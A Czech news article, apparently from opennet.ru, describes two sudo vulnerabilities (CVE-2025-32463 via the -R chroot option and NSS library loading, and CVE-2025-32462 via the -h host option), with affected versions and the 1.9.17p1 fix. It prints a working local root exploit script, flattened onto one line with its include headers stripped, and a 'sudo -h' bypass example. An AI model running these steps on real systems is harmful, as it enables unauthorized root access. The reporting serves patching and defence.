Zranitelnosti v utilitě sudo, které umožňují získat práva root v systému

Ve balíčku sudo, používaném k organizaci provádění příkazů jménem jiných uživatelů, byla zjištěna zranitelnost (CVE-2025-32463), která umožňuje jakémukoli neoprávněnému uživateli provést kód s právy root, i když uživatel není uveden v konfiguraci sudoers. Na tento problém jsou citlivé distribuce, které používají konfigurační soubor /etc/nsswitch.conf, například byla prokázána možnost zneužití zranitelnosti na Ubuntu 24.04 a Fedora 41.

Zranitelnost se projevuje v konfiguraci výchozím způsobem a byla potvrzena ve verzích sudo od 1.9.14 do 1.9.17 (potencionálně se týká všech verzí od 1.8.33). Problém byl odstraněn v aktualizaci sudo 1.9.17p1. Stav nové verze balíčku nebo přípravy opravy lze zkontrolovat v distribucích na následujících stránkách (pokud je stránka nedostupná, to znamená, že vývojáři distribuce se ještě nezačali problému věnovat): Debian, Ubuntu, Fedora, SUSE/openSUSE, RHEL, Gentoo a Arch (1, 2).

Problém je způsoben tím, že při použití volby „-R“ („--chroot“) pro spuštění příkazů v chroot prostředí s vybraným uživatelem jako kořenovým katalogem se soubor /etc/nsswitch.conf načítal v kontextu nového kořenového katalogu, nikoliv systémového katalogu. Protože uživatel může použít svůj vlastní katalog jako kořenový katalog pro chroot, může v něm umístit konfigurační soubor nsswitch.conf. Kontrolováním souboru /etc/nsswitch.conf, který je načítán subsystémem NSS (Name Service Switch), může uživatel přidat nastavení, která způsobí volání dalších zpracovatelů. Tyto zpracovatele načítá NSS ve formě sdílených knihoven, které lze také umístit do uživatelem ovládaného katalogu. Zařazením své knihovny může uživatel dosáhnout provedení kódu s právy root, protože zpracování NSS se provádí před odebráním privilegií.

Příklad exploit: #!/bin/bash STAGE=$(mktemp -d /tmp/sudowoot.stage.XXXXXX) cd ${STAGE?} || exit 1 cat > woot1337.c<<EOF #include #include __attribute__((constructor)) void woot(void) { setreuid(0,0); setregid(0,0); chdir("/"); execl("/bin/bash", "/bin/bash", NULL); } EOF mkdir -p woot/etc libnss_ echo "passwd: /woot1337" > woot/etc/nsswitch.conf cp /etc/group woot/etc gcc -shared -fPIC -Wl,-init,woot -o libnss_/woot1337.so.2 woot1337.c echo "woot!" sudo -R woot woot rm -rf ${STAGE?}

Ve verzi sudo 1.9.17p1 byla také odstraněna další zranitelnost (CVE-2025-32462), která umožňuje vykonávat příkazy s právy root, ale projevuje se pouze v konfiguracích sudoers, kde je parametr „host“ nastaven na hodnotu odlišnou od ALL nebo jména aktuálního hostitele. Zranitelnost je způsobena chybou, která způsobila, že volba „-h“ („—host“) fungovala nejen ve spojení s volbou „-l“ („—list“) pro výpis privilegií vázaných na hostitele, ale i při spouštění příkazů. Uživatel tak mohl při volání sudo uvést jakýkoliv host a obejít omezení pravidel sudoers vázaných na jméno hostitele.

Pro provedení útoku musí být uživatel uveden v sudoers, například pokud je v nastavení uvedeno „testuser testhost = ALL“, může uživatel „testuser“ uvést „sudo -h testhost“ a spustit příkazy s právy root na jakýchkoliv hostech, nejen na hostu testhost. Zranitelností nejsou postiženy konfigurace s nastavením „testuser ALL = ALL“ nebo bez explicitních pravidel pro konkrétního uživatele.

Zdroj: opennet.ru

Koupit spolehlivý hosting pro webové stránky s ochranou proti DDoS, VPS VDS servery 🔥 Koupit spolehlivý hosting pro webové stránky s ochranou proti DDoS, VPS VDS servery | ProHoster